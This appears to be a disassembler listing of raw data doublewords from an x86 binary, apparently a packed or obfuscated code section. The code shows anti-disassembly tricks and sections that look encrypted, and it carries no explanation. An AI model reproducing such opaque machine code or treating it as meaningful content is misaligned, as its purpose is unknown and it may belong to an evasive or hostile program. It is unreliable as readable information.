60C3C033h, 9802ACBFh dd 0FE957h, 0EFED0000h, 8F643D8Dh, 6C2BA271h, 5FE8925Eh dd 0AE96166h, 0AB000000h, 1348FBEFh, 1B753455h, 6A6017h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 7B4E51C3h, 4830FEBh, 60000000h, 8D615E52h, 478DA985h dd 8E906h, 30890000h, 0DFE812A7h, 0E990F734h, 5, 0A56E9FF1h dd 0B5605020h, 7E97Fh, 4BAA0000h, 8DA9FAE1h, 0F9061C7h dd 1E87h, 81666000h, 0E99E14E2h, 12h, 238B746Ah, 14602510h dd 41CE36E3h, 0C67310E1h, 64613067h, 35FFh, 8B600000h dd 442215BDh, 61F78B06h, 258964h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0F88FC352h, 0EE9h, 41C7EA00h, 0D20EEF58h, 0D527205Fh dd 8D406FC1h, 478E3485h, 6089F906h, 50006A01h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0B3463410h dd 60E8FC95h, 49B58957h, 5F06441Ah, 71EF8166h, 85C66100h dd 64402E9h, 0CE9604Fh, 5E000000h, 0FEA4954Bh, 0DA024854h dd 0FBD85B8h, 689h, 85B58B00h, 6106442Eh, 5530868h, 128B0FB2h dd 50000000h, 0F525052h, 0F585A31h, 840F31h, 5A000000h dd 24048158h, 4CC32122h, 8A60F960h, 0D98B66FDh, 0B5FF6161h dd 64417E9h, 0B8D0Fh, 6E90000h, 2A000000h, 5E555DA9h, 0A18D0199h dd 8D064419h, 4777AF85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 26D2BFEAh, 0C3E38FE6h dd 9E9h, 0F7C22000h, 4033D997h, 0D0FFDA67h, 8820Fh, 8B0F0000h dd 2, 0C7E96160h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0B8D8C351h, 0F49E7133h dd 9239E2EEh, 11860Fh, 890F0000h, 0Bh, 6E9h, 0AB1A5500h dd 8B8F768Ah, 550C245Ch, 0E8h, 0ED815D00h, 6478DB3h, 2D7D858Bh dd 85890644h, 64417E9h, 0E25858Bh, 85890644h, 64403C9h dd 1D85858Bh, 85890644h, 64421D9h, 2E985C6h, 0C7000644h dd 47790E85h, 6, 34858D00h, 8906478Eh, 0B883h, 0C0335D00h dd 518D31C3h, 6A064419h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 4086C355h, 0E92A5430h dd 9, 0F098FB9Fh, 0FC8D7CE9h, 74BCF520h, 600012FFh, 7C5958Bh dd 860F0644h, 3, 61CFBF0Fh, 58F64h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 3A2EC355h, 0D7D4915Ah, 0E9557335h, 0Dh, 13DB93B8h, 0DCDC9DDEh dd 5F0641EDh, 0C483F9B4h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0D5B68BB9h dd 0E9A2A10Ah, 0Fh, 2E0315FBh, 15CF39A9h, 81DA85EFh, 6089F61Eh dd 0BD89F48Ah, 6440895h, 4EB6161h, 1B4AEA0Dh, 482E9h, 0B22A9800h dd 3C1251Bh, 0B02C94AAh, 2BA2719h, 0B13395ABh, 0AF23A18h dd 0BF81289Ch, 0B359C48h, 0B38D2498h, 7F3B9252h, 5D5841Bh dd 0A0F6C2E9h, 6ED64F12h, 15CF340Ah, 7CE5AD8Ch, 7C33E442h dd 553AC281h, 73990B1h, 12CA399Eh, 2F94AA33h, 0B2122CB5h dd 2D0CB82Dh, 9A84FFB4h, 359C48BDh, 0FE61980Bh, 0C930903Bh dd 258CAD8Ch, 0AD34A81Bh, 29B03493h, 13002A51h, 56680CB0h dd 0CCED74F0h, 0B2132D84h, 0AD325632h, 0C9308FEEh, 2FB6FEDFh dd 0AE0E754Bh, 259F0937h, 25D34C04h, 0ECC93090h, 605EC775h dd 49C75E06h, 7214E832h, 9BB2816h, 82F9B190h, 0AF53B398h dd 0EAD401F4h, 7253CA7Ah, 1734F100h, 1A5200F5h, 5C4Ah dd 0D64FF800h, 8FAE1671h, 93D08916h, 96EDC930h, 58CBF58Ch dd 145C7DE4h, 0F4B3C222h, 17301h, 15C10000h, 4008BC2Bh dd 0C75E067Eh, 5EC88DF9h, 947D3CA3h, 6F4EC930h, 0C8F66F4Eh dd 377CE557h, 4B2FE24Ch, 9409B02Fh, 0E3C2C930h, 3094BD7Ch dd 672F0EC9h, 0DE77ED59h, 68C183E0h, 74D94FDAh, 0EB725311h dd 78EC71D5h, 557455CCh, 7DA9D2CCh, 278E3690h, 0A138AC19h dd 20B9239Fh, 2D121C67h, 1F4B1C9h, 6F6Ah, 0D94FD800h, 54CCF26Bh dd 413A71E8h, 560E78D5h, 0FD67C1FFh, 0C73E0064h, 0EDA5841Dh dd 0AACE6ED3h, 0D94F47D8h, 7D3524D4h, 4ED8A3E4h, 0F4408DE9h dd 84E09201h, 0EB2564AEh, 60580840h, 0EA000000h, 0B12ED94Fh dd 0C930940Ah, 5AC3E2C3h, 0E040FD64h, 0B6C4E57Ch, 384B6A79h dd 59CBD08h, 831ACA3Bh, 0E9745BDh, 4DBF6B10h, 65D25C27h dd 5AE84103h, 0F46DD74Fh, 3094AD6Bh, 0AB770CC9h, 1F3D6614h dd 4CDA06AFh, 0D1F069D3h, 168EB8F0h, 0DF01F42Bh, 0Bh, 0A01D85BBh dd 23029B41h, 4FF84A02h, 510B76D3h, 51C8E9C8h, 0D74EF66Fh dd 4FB9CBAFh, 96CAA333h, 0E24C377Fh, 6AF0D75h, 7BE95C62h dd 0CD8BC3E2h, 138CE825h, 0CF745DB9h, 0B6881130h, 3E974Dh dd 27B821A3h, 0C2EC4572h, 0AD34A81Bh, 0B38D2F93h, 9148D752h dd 3AC2EC45h, 0BDA33A1Bh, 8AE05CC6h, 5BC825F1h, 57E40E9h dd 8BF8C65Fh, 255E40D9h, 1C2246F9h, 82A33AAAh, 0EC455E1Dh dd 64E6FC2h, 0C35CCB38h, 0C2EC4518h, 18B190B1h, 0B064B62Eh dd 1167FFBh, 37CD0000h, 2A9A0D9Bh, 1233B114h, 0C1A3E976h dd 0C6F8CF74h, 0DAACE460h, 9DF52BA8h, 0F7855F3Ch, 7099424Dh dd 69F0D1A5h, 0DF76EE57h, 59C084E1h, 22A2033Dh, 0ECD29ABBh dd 0CDA9CD77h, 0EC50A752h, 490120C2h, 69B5CED0h, 4AD178Ch dd 0B06FD232h, 5063FBh, 39070000h, 43F14BCCh, 84E16B25h dd 231D3CA5h, 0A4851CC0h, 9F375EECh, 7269E09h, 0FC630763h dd 0C930943Dh, 78E7AF8Eh, 0C9309511h, 86E27B5Ah, 0CA13FEF4h dd 8DC5CA5Eh, 304D6712h, 37E398C9h, 0E78312A2h, 304E1178h dd 0D27B5AC9h, 7346h, 9B37F400h, 0D8487612h, 0D7482C64h dd 0CF74A089h, 4E70E9C8h, 0F8C66FD5h, 0D9BDD98Bh, 5FC07CE7h dd 0C2EC889Ch, 0DD440C2Dh, 0A61E87B9h, 89C571EEh, 9FE4C2ECh dd 873DA693h, 4DC8682Eh, 16CDB629h, 2F0EC934h, 0A91B88B6h dd 122C4830h, 3D460EAEh, 59D47CF1h, 3E9E033Dh, 4CB886A7h dd 68200198h, 0A0B2930Ch, 0A2BCF74h, 3CA3C7A3h, 0C2EC887Dh dd 95276F4Eh, 76129B37h, 7822FCE9h, 0E97051CFh, 5FF66ED7h dd 0D9400461h, 0F6804E46h, 5DC9B2DFh, 78D193F0h, 0FE67DD46h dd 64FD5FC0h, 4BB671Ch, 688D9C76h, 0B688D565h, 2B0A9349h dd 7CE85D63h, 0CA7AEBD5h, 9D093753h, 3FB6F27h, 49000000h dd 0D54FFB49h, 63C0FE67h, 0DB4678E1h, 5FC6F861h, 0E4427CE5h dd 61C7F960h, 0DB447AE3h, 5AC6F861h, 0E1457BE2h, 83EDFA63h dd 48904ECh, 5E08924h, 4, 8704E883h, 575C2404h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 0AB68242Ch, 89000021h, 7E682404h dd 89000025h, 77B9240Ch, 0BD13E029h, 0F2676560h, 8359CD01h dd 248904ECh, 24048124h, 4, 0EF895758h, 8B087889h, 0C481243Ch dd 4, 582434FFh, 4C481h, 34FF0000h, 0C4835D24h, 0EBC4E904h dd 387DFFFCh, 0B80B1CACh, 64792DDh, 0E0FFC503h dword_575A0C dd 67CE255Dh, 7708F9C9h, 7F0A06F2h, 2A9B54h, 2C5D96Ch dd 704A2CD1h, 40FD333Fh, 694233A5h, 36F46F67h, 0B22A7A9h dd 73328410h, 2526224Bh, 0D344D77h, 2BDE6759h, 425545E1h dd 4F4AC4F8h, 41BDECCDh, 7E2739B9h, 5AD7E024h, 679ED6F3h dd 0C2B504EBh, 0FFE96C9Ah, 0F2000004h, 0BB852C90h, 0E30994Bh dd 0BD832A92h, 0F319844h, 0A0822B99h, 0A2228478h, 12D2350Bh dd 0BE1E85BBh, 8BC2917h, 1E81E5A1h, 0C2E9015Bh, 3A5E3A6Ch dd 0E900F6A5h, 0BEF6D7C2h, 6ED64F0Ch, 68F793F7h, 0C93094B1h dd 4D733B1Ah, 0A4C069DBh, 0FFB7259Ah, 79E064C1h, 4B566F1Dh dd 945441D0h, 0C381E2DCh, 0B42899A7h, 0EB5B65FCh, 66DEE079h dd 0EE5967FEh, 0FE85EF76h, 0F793D834h, 0FB4D0C93h, 5F7EC92Fh dd 0FC26C17h, 86EAAC7Dh, 0E2AAD2CBh, 54FD67DCh, 0E55AF76Ah dd 0C1FF5677h, 5D63FA62h, 201E7AEAh, 0CF561EC6h, 62A1D3B7h dd 0A9138CCAh, 0CB4D86DBh, 0FC8D2EB9h, 0F7BFAF14h, 4EB5A28Ch dd 1D2347EEh, 0BF7168A9h, 0ECBB4F67h, 3D7554CDh, 0BB22A203h dd 30367224h, 0EE3843C9h, 0F4559D09h, 6B5601h, 4FE40000h dd 68F76ED6h, 0C93094AFh, 0ED74F054h, 54CD6FD3h, 8775A1DAh dd 7EE185E1h, 0C93094BBh, 0AE132D0Ch, 0FEB6970Eh, 50B49985h dd 0D101F4B3h, 53CA72EFh, 16A3A72h, 0D8000000h, 0F46DD74Fh dd 8DF55ACAh, 0FB5112Fh, 3C384A2Eh, 0FB61C0AAh, 68314362h dd 5EC7F94Fh, 165E7FE6h, 0EC50B18Fh, 0D9453E75h, 0F55C087Ch dd 43EA5ACBh, 6BD94FF1h, 0F358CCF2h, 940D2C90h, 0C825F18Ah dd 0E682E65Eh, 3094C279h, 622A0BC9h, 54CBAFCBh, 0C93094A5h dd 384EF66Eh, 0F66F5119h, 79E9D74Eh, 661D5AC3h, 0B1FF57BCh dd 5B3401F4h, 86000000h, 0F1786715h, 9AE05B66h, 0CA7AECD2h dd 47F56D53h, 44EE95DEh, 0EF55B38Dh, 67DD4876h, 0D6300E46h dd 8FF9C76Eh, 0D724CD5h, 0A7136AFh, 80DB3B20h, 4B1801F4h dd 0AA000000h, 0F26BD94Fh, 8CF855CCh, 0C3E25AC7h, 6A117BE2h dd 0CC3709C0h, 0E0A88910h, 98FC68DEh, 0C9813BA6h, 0D74FD260h dd 0AD6BF46Dh, 0CC93094h, 2A14AB77h, 784E06B6h, 1F4B40Ch dd 0D29h, 0E734D00h, 990937AEh, 0BA9BBA23h, 671540F2h dd 0FEF2A904h, 0E3DD9547h, 0E262C27Fh, 0E27B5A7Bh, 0BE7DE286h dd 0FC9304Bh, 0EB58662Eh, 0E398E079h, 0F666DA37h, 7F493B5Fh dd 4780B35Bh, 771B5D15h, 0BE35E47Bh, 0B796C92Fh, 58CCF296h dd 5FC0A4ECh, 0CF73DAEDh, 7395D7Ch, 1DC73F9Ch, 0CC84A584h dd 4AFA6B55h, 31B3102Eh, 75EED079h, 10C956CFh, 0A1C2EBCAh dd 0CBB950DAh, 0F76A5AF0h, 1A4F3745h, 49BA84CCh, 970C329Bh dd 198AB42Dh, 482C32ABh, 1D550F76h, 0E65FBC66h, 85E1D77Eh dd 0AEFBB02Ch, 132h, 129B371Ch, 0D4BD0476h, 5A3D156Bh dd 0A3E97612h, 0EACF7468h, 0F76C52CBh, 0AA17294Dh, 0EDD37A32h dd 0CCA8CC78h, 0EC20A853h, 0DA4521C2h, 0C2EC201Fh, 0E0A889A8h dd 66DE4779h, 0BB85E1FFh, 0A21A874Ch, 733B1A83h, 0D4311E08h dd 8F107410h, 0C2EC1FCCh, 0FF65C3FDh, 2E664766h, 3F55B187h dd 4B9EFBB0h, 2C000000h, 2BEE7115h, 9CC93094h, 23B3F5BDh dd 269F692h, 4BC93095h, 0AD6CF36Ah, 0E6C93094h, 0C0FE919Dh dd 4766FF65h, 68AD490Fh, 9438930Ch, 90B1C930h, 635D39h dd 0E47DDF43h, 5C7DE4C5h, 3AEDBA2Eh, 0AAE22A5Bh, 853Eh dd 9B378C00h, 2C127612h, 0B2930ABAh, 30946E2Dh, 1A7E5FC9h dd 3093D685h, 9ED6F7C9h, 0A11B65FAh, 5B7ACF74h, 0DD87FCC2h dd 6BD94A74h, 381F7D0Fh, 8096FBFBh, 6CE51C8h, 5BC2EBCBh dd 0AC19F620h, 1625C38h, 0E4A20B43h, 9BA5C14Ch, 98FCB428h dd 335E0407h, 7DE4C5C9h, 0FB62E243h, 9B2EF883h, 0FB61C1FFh dd 2D3BB564h, 7F3716C9h, 781C9939h, 74CEE4E7h, 0AD0425CFh dd 8732ADC9h, 8C2EBCAh, 7150269Eh, 9B378B39h, 0E2E97612h dd 2BCF7827h, 0B31C6E0Ah, 0A9394DCBh, 89CCD0A2h, 0BF47344Ch dd 0F3506EF7h, 82BCD871h, 627BE1Eh, 5113704Eh, 110857C8h dd 0F742DC6h, 17CD3623h, 0A12380BEh, 3C990638h, 1AC15EC9h dd 0B35C9610h, 0F692B392h, 0B269F692h, 1B5C9610h, 0FF6A53Ah dd 0E9D75C96h, 0ABE3C27Ah, 0E5314A32h, 80299B08h, 0F86CDAE4h dd 7EE65F61h, 0AFE7C6E7h, 6AF53491h, 5C9610AFh, 81183918h dd 315h, 0FB49A700h, 0FE67D54Fh, 78E163C0h, 0F861DB46h dd 7CE55FC6h, 0F960E442h, 7AE361C7h, 0F861DB44h, 7BE25AC6h dd 0FA63E145h, 2F7368EDh, 0C890000h, 39616824h, 1C890000h dd 384A6824h, 0C890000h, 6BA5224h, 5354C822h, 0BBh, 89D32900h dd 81425BDAh, 0B3605FCAh, 42F28175h, 89F9F06Eh, 0EC815AD3h dd 4, 83242489h, 59042404h, 242C8153h, 7ACA667Ch, 8108418Fh dd 667C0841h, 34FF7ACAh, 0C4815924h, 4, 5B2434FFh, 0E904C483h dd 0FFFCE66Ah, 64661C1h, 0B83BAD46h, 0A6EDEB3Ch, 3FB8687Dh dd 3064798h, 1EE0FFC5h, 202C7F5Ch, 6C6085F3h, 0FD4EA0F5h dd 0B8308E00h, 1E0BE5A8h, 0E949887Fh, 148h, 50h, 54h, 58h dd 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h, 0B8h, 0BCh, 0C0h dd 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h dd 0E8h, 0ECh, 38h dup(0) dd offset dword_575A0C+5E0h dd 9F50EBh, 98E2858Dh, 0F8BE0647h, 89085371h, 479A2285h dd 0AEC28106h, 0C6528FC1h, 4402E985h, 0F3815406h, 0EB78A2Fh dd 91379D68h, 96A3BEBFh, 3481723Dh, 0F35FB424h, 0E051B951h dd 0B5FF712Fh, 64417E9h, 0A5D9D8Bh, 858D0644h, 64777AFh dd 0D0FFCE8Bh, 89F1BF0Fh, 442EE58Dh, 26858906h, 3306479Ah dd 442EF59Dh, 40E906h, 8B660000h, 0B58B56F3h, 6479A22h dd 85830689h, 6479A22h, 60C35E04h, 98E2B58Dh, 0FEB0647h dd 0FF006A56h, 2695FF36h, 5E06479Ah, 8304C683h, 0EC75003Eh dd 0D381C361h, 214D9E39h, 10818509h, 858D0644h, 6479AA9h dd 89D2BF0Fh, 44319D85h, 0DE806h, 7B550000h, 0AAB7AEE8h dd 2DEFE4Eh, 0E9E5F2A0h, 0Ah, 6DF59743h, 0BE944B4Fh, 89580A6Dh dd 4408A1BDh, 79C08106h, 0F00006Ch, 683h, 0ADBD8900h, 68064425h dd 1AF7h, 2539BD89h, 8B590644h, 4421699Dh, 5A30FF06h, 81FB8B66h dd 0D627F8F2h, 0C840F0Bh, 0F000000h, 68Eh, 6D850900h, 8106441Ah dd 0CF3514EAh, 5E935h, 4BCE0000h, 81600925h, 0C5CE3BEAh dd 0EF8A6012h, 24C1BD89h, 52610644h, 8F5CF780h, 0EB815000h dd 241A3379h, 4E8835Bh, 0E983FA8Bh, 0A6850F01h, 0E9FFFFFFh dd 0E5h, 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h dd 28602060h, 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h dd 0F2FD54A7h, 5B56D43h, 0CBCE932h, 87680000h, 0E906479Eh dd 0FFFCE296h, 479F7968h, 0E28CE906h, 8268FFFCh, 0E90647A0h dd 0FFFCE282h, 47A14268h, 0E278E906h, 0C068FFFCh, 0E90647A1h dd 0FFFCE26Eh, 47A29968h, 0E264E906h, 0D868FFFCh, 0E90647A3h dd 0FFFCE25Ah, 47A4FF68h, 0E250E906h, 968FFFCh, 0E90647A6h dd 0FFFCE246h, 47A6FB68h, 0E23CE906h, 0A768FFFCh, 0E90647A7h dd 0FFFCE232h, 28813BA9h, 9F36AE16h, 329B41A1h, 8029930Ch dd 359C48BEh, 0B92F0D17h, 299CA20Bh, 0B52C12BBh, 3390AE07h dd 385C18B1h, 0E8F7F4A7h, 3183D5C2h, 0F76ED64Fh, 7FE65EC9h dd 76E34F34h, 740E040Dh, 0D65FAFBAh, 78185EF7h, 67593Dh dd 0B4FCDD44h, 0DCC6B4D0h, 19BF08BDh, 4FF56A22h, 8ECF73DAh dd 9B0836AFh, 66948E7Ah, 3415D8D6h, 0F0AB3450h, 0D9C2EBCAh dd 2719B0F8h, 9F06BEh, 0C2EBCB56h, 5DBA641Fh, 0EBD57CE8h dd 3753CA7Ah, 755D4D45h, 10D94C11h, 8B622222h, 0CEF0B899h dd 6876EF55h, 0B92A0713h, 3094A20Bh, 0C5FBB021h, 533h dd 9F5AC5A1h, 28C2EC0Eh, 1332AA16h, 0D64FE95Bh, 5CC9F76Eh dd 6B0741E8h, 0EBD94622h, 70CF74B4h, 73D08B14h, 0D8F9C2ECh dd 5EC7E690h, 0EC7416C1h, 31FD86C2h, 0B08F58CCh, 2E97A9FBh dd 42AEFEB6h, 1C000000h, 9B0D9B37h, 0F36C0829h, 0CF749F69h dd 0BA229EA0h, 0FBC95123h, 79B5F849h, 6F1D7958h, 3EA6D0ECh dd 4C3E1F86h, 990C9288h, 0B293B22Bh, 39FC63FAh, 0BBC2EC41h dd 95F156C0h, 5EFBB060h, 0AFh, 6ED64FECh, 0E55FC9F7h, 63E1427Ch dd 65FA9EFAh, 0C93094B6h, 407E3617h, 59037EE3h, 69C0E1C0h dd 6CD0330Dh, 97EDBB24h, 102EC930h, 78460EB6h, 0D8831C0Bh dd 0F1C93090h, 6658F1D0h, 98DE47FDh, 46D9BDF8h, 0CF749484h dd 0D686FBC5h, 78185EF7h, 5EC6593Dh, 0FFC9333Bh, 2284BADEh dd 0D3350BA2h, 23F2B411h, 0ED747DECh, 0A0179h, 0E25AC800h dd 5311754Bh, 0E05CC4FAh, 520A7749h, 0E163C5FBh, 5AC26A48h dd 0EFD178ECh, 5B65CC78h, 0E3DD74E8h, 2F6BC282h, 0F625D44Bh dd 0F0A6C2E8h, 6C671542h, 6D105AFDh, 0A7013F77h, 39AA943Dh dd 3790228Bh, 0F869579Bh, 63FCDD44h, 0C93094B8h, 75113011h dd 749F50EAh, 198B9CFh, 3E9B1765h, 0ACF7A23Dh, 0F1D0C2EBh dd 3C36C783h, 1D2CEB74h, 0D7ACC2ECh, 0A2D0B44Bh, 0FB0DAE27h dd 40FB6498h, 89C2EC13h, 6ED6E0A8h, 87FBB032h, 0A4h, 6ED64F35h dd 0E55FC9F7h, 9825E37Ch, 0B72CC930h, 920D690Dh, 0C93090E7h dd 2089C1E0h, 0A63FA51Eh, 8B28B0C2h, 0A89605E8h, 9C0AA6E0h dd 0CACAB824h, 46F40276h, 910E6A4Bh, 0CF747FDBh, 0DC9A3312h dd 0F99DF934h, 0ACE460C7h, 3324C233h, 3E5A7BC9h, 973EA600h dd 20853FA9h, 7DEC3A6Ch, 0F97039Ah, 36000009h, 87B910CCh dd 320CA51Fh, 0F9C76ECEh, 437DD488h, 0F4D67FE5h, 6ED6302Ch dd 0D68EF9C7h, 7AE2417Fh, 0CC78EDD3h, 0DA452165h, 0C2E8F51Fh dd 4F4CFEA8h, 0FCC26BD9h, 54079887h, 75C93094h, 6EDC7554h dd 1571D64Fh, 8BA3DDAFh, 29879C3Fh, 0F3526C08h, 41F0AB34h dd 0F8D9C930h, 360891D9h, 0D09C44CDh, 0F518CB44h, 487921B1h dd 0C9E8C9A4h, 8F3593ADh, 0D67F3716h, 0A9138CB2h, 0E3A052E1h dd 3DA2C64Fh, 0CF73EA63h, 33AFD0A2h, 7607E531h, 0F7881757h dd 0E4C1B429h, 601B844Ch, 69D0A3EAh, 520A7648h, 0AFCBEACBh dd 0E8026E30h, 0EA8EAFD6h, 6AF371D4h, 0DC9A034Bh, 927BE634h dd 465ACCD2h, 35AC8D68h, 35513514h, 0CC379C0Bh, 940F3110h dd 0E7FF6028h, 26D0AF62h, 1435A718h, 69D34E70h, 0FD99D1F0h dd 4BE262C3h, 75111075h, 0A0B62FEAh, 26B998D0h, 0D0A0B673h dd 0D84B7554h, 0FDDCFD64h, 61540A58h, 0F165FC85h, 806h dd 4CE557CDh, 0FB521272h, 56FF5DC5h, 0EC45F768h, 59F074D2h dd 0DD4BB17Bh, 95F0CE67h, 49B8862Fh, 9F043A93h, 0ACC88C25h dd 0E8F48833h, 0A51741C2h, 0F76ED64Fh, 0F09421B1h, 94500B94h dd 0D731C930h, 43A1B6Dh, 99B8219Bh, 2C2AB5D1h, 9DCF74C0h dd 0BF5315BCh, 12761276h, 0D1C3EF60h, 980765D6h, 0C2EC4BE1h dd 1C83CBEAh, 0C933E8C0h, 76482C0Dh, 0C0FE570Dh, 3E78E163h dd 0E07F1B92h, 0CF745BC3h, 635D3918h, 18264202h, 213A64ADh dd 0CBCD2CA6h, 350BA2EAh, 2A9A0BD0h, 2AB392B3h, 0AF15704Eh dd 0F4A554CBh, 726C2EBh, 2C69094Fh, 1021D748h, 81A0C930h dd 0EE367C24h, 0AF3BA27Dh, 746h, 8C25970Dh, 3B9252B2h dd 963F9D05h, 2C8537A8h, 9930B412h, 1D8B71BBh, 0D5300EA7h dd 89F8C66Fh, 0DF447AD3h, 0EC88CC65h, 0E8F3C873h, 0E55701C2h dd 5B72B15h, 31670B4Dh, 553110D4h, 782FA1CAh, 6F0B2ACFh dd 0D623F451h, 1BC738F3h, 91E9900Fh, 0C3E2C2E9h, 546AC3E2h dd 0AAEC75EFh, 8C309006h, 6056C9ADh, 0F3C92DBEh, 0EB964781h dd 0F5BDBFF8h, 2907A283h, 5F7DEDAFh, 6C852C6h, 158F0000h dd 0D4300EA7h, 1B87B910h, 0C93608A1h, 2284BA13h, 0FF290BA2h dd 9039AB1Dh, 248D37AEh, 9C35A71Ah, 2A8341A2h, 0E6950A6Eh dd 0E7C2E8F2h, 9B3703B1h, 95E97612h, 0F8CF7830h, 36E5FE8Ah dd 3A1B867Ch, 80672C5Eh, 0F731E877h, 0BB9AC2E8h, 2C904BC9h dd 0C53E0064h, 0DD457B1Fh, 60410360h, 3990D8F9h, 0F3A6395Dh dd 0D4C2E936h, 2283BDF5h, 0D57D3BA2h, 4061DB47h, 0D28ABB24h dd 6243C930h, 99066206h, 0C92FCDE2h, 0BC82CAEBh, 50349D47h dd 0AC2A4634h, 0C9A082DAh, 300FA356h, 0A91A24C9h, 0A283A23Bh dd 0F56FD4EAh, 10862A6Ch, 88A930B4h, 0DBA9CDA9h, 0FD27AD0Fh dd 6DF2BA1Ah, 0CF73B2ABh, 48F36C08h, 81C2EBB2h, 0BC9D47BFh dd 6A382F4h, 7BAA6832h, 0EF65F168h, 0D6000005h, 6759F06Ch dd 0D2EC45FFh, 5967CE6Eh, 0E3DD74E8h, 5476DF85h, 4EF650CCh dd 0F66ED9E7h, 5A02615Fh, 0EC58CDF3h, 0FA650145h, 0C2E8F23Fh dd 4F6CDE88h, 0C9F76ED6h, 741E85Ch, 0D946226Bh, 0CF74B4EBh dd 0BEDA4362h, 1E2C7CCh, 0D79F762Eh, 0EC298D48h, 0AA740FC2h dd 0B044E145h, 4512FBh, 37A00000h, 0E976129Bh, 0CF749F53h dd 9D029BBAh, 0C2EC88DAh, 188143A3h, 8938E37Ch, 0B091C2ECh dd 32AB118Eh, 24180279h, 7B0E1863h, 88D9801Fh, 0D3F2C2ECh dd 0BBF857A1h, 0B5FD1258h, 0AFEC2383h, 0FBD0FBh, 4F620000h dd 19E13DD6h, 0BEF81D39h, 0A19FFB9Fh, 22039A42h, 2FF2FEBDh dd 0A21A87C9h, 0A287F5D4h, 0D7604CE9h, 241A83CBh, 44F851C2h dd 3C1D95FAh, 0E047791Dh, 8BB52C64h, 5733AA1Ah, 48FC69h dd 0B61FC53Eh, 30485F29h, 2382BCC9h, 511938A1h, 271DF66Fh dd 0C1E6C34Dh, 0EDD37A5Bh, 1355CC78h, 0CD52367Fh, 0CF745A33h dd 0B3D7B392h, 0EC166D2Ch, 377F5EC2h, 0FD38D89Eh, 823AA799h dd 3C31AECAh, 0F1C932BFh, 70E953CFh, 2A147051h, 9FA108BCh dd 241EBB29h, 6A7DEC5Ch, 4B067F3h, 2D970000h, 0AC18268Fh dd 33AF9138h, 0A11E2089h, 3AAC923Bh, 1701238Ah, 0A801C325h dd 1CB52F96h, 0B41DBF22h, 2AB198Ah, 0FEBD2246h, 0CFC2E8F0h dd 67152B99h, 0DA640B7Ah, 0CBD7460Eh, 0B722456h, 0D7B450Dh dd 69573357h, 20DB44F8h, 0A9C93036h, 0D69C088h, 0FC51227Fh dd 7E36C28Bh, 0C861E340h, 0EE71157Ah, 0C930942Bh, 8143A29Ch dd 50183918h, 0E9767A16h, 0C9309432h, 0FF9BBA9Bh, 0B960FF9Bh dd 12C93094h, 2B0ABA2Ch, 9F5EFC63h, 8EAFCF74h, 88CD8817h dd 49B6C2ECh, 21C3FFC0h, 2504C073h, 0BF1D82BCh, 0C166D26h dd 220C7730h, 0B08EC93Dh, 0C96AFBh, 4FD80000h, 0C9F76ED6h dd 0E37CE55Fh, 0C9309825h, 0B212B72Ch, 84BA1332h, 1E86F61Fh dd 0AE37A51Ah, 5FD8FD8Fh, 9FD94061h, 41DEBAF3h, 0CF7478BFh dd 79FA7E0Ch, 0A263DBDAh, 5BA259C6h, 0A2BC2ECh, 0BC153442h dd 0BBDF56FAh, 3300C824h, 0BF2917C9h, 0F81CDF40h, 8CADC92Dh dd 0B293E5ADh, 178CB2D6h, 6DDBE5ADh, 6605EF7h, 16FBFB5Eh dd 98017DECh, 3890Ch, 0EA52B000h, 5B097D43h, 0E854CCF2h dd 5A027F41h, 0E95BCDF3h, 42BA6240h, 0F7C960E4h, 437DD490h dd 0EBD57CE0h, 2763CA7Ah, 0F01DDC43h, 0F8AEC2E8h, 0BD2B154Ah dd 16CE3907h, 0D06605Eh, 0BEFA2340h, 0CD644536h, 0B6D292F3h dd 3FA61E88h, 9802624Dh, 92B32850h, 4FC173DAh, 93F76ED6h dd 10893BADh, 0DE477931h, 8C7CCF66h, 0BCB4A7D5h, 0FA134322h dd 965A019Eh, 5273C92Fh, 79B45C1Ah, 887B6F1Dh, 0E4415F7Bh dd 8957C8ACh, 0C8CF73BBh, 2736A9E9h, 0FA67212Dh, 21B6EF88h dd 4C58877Ah, 0DE44DC30h, 0A0E6AE8Fh, 7EE18510h, 2D035180h dd 0E084E0C1h, 0FB50BC7Fh, 122C0D24h, 0E27B33B1h, 0BE7DE286h dd 0F24FB50h, 0F26BD131h, 0FCBAF2D3h, 22BDD954h, 2B42C822h dd 80BEDAFBh, 8DE9A123h, 0F69252B3h, 74B24C84h, 0AAD8503Dh dd 0C9AE2436h, 0F950181Fh, 4DB55EC7h, 0F66ED90Fh, 0F43C4E6Fh dd 1BBE9FB9h, 0DF9CDD0Dh, 7F76E27Bh, 46000002h, 0F7C960DCh dd 427CD58Fh, 0E9D77EDEh, 536DC478h, 0C4E64FF5h, 0DE86E05Ch dd 66DE4977h, 2A92F1CFh, 9C48BD83h, 8A157135h, 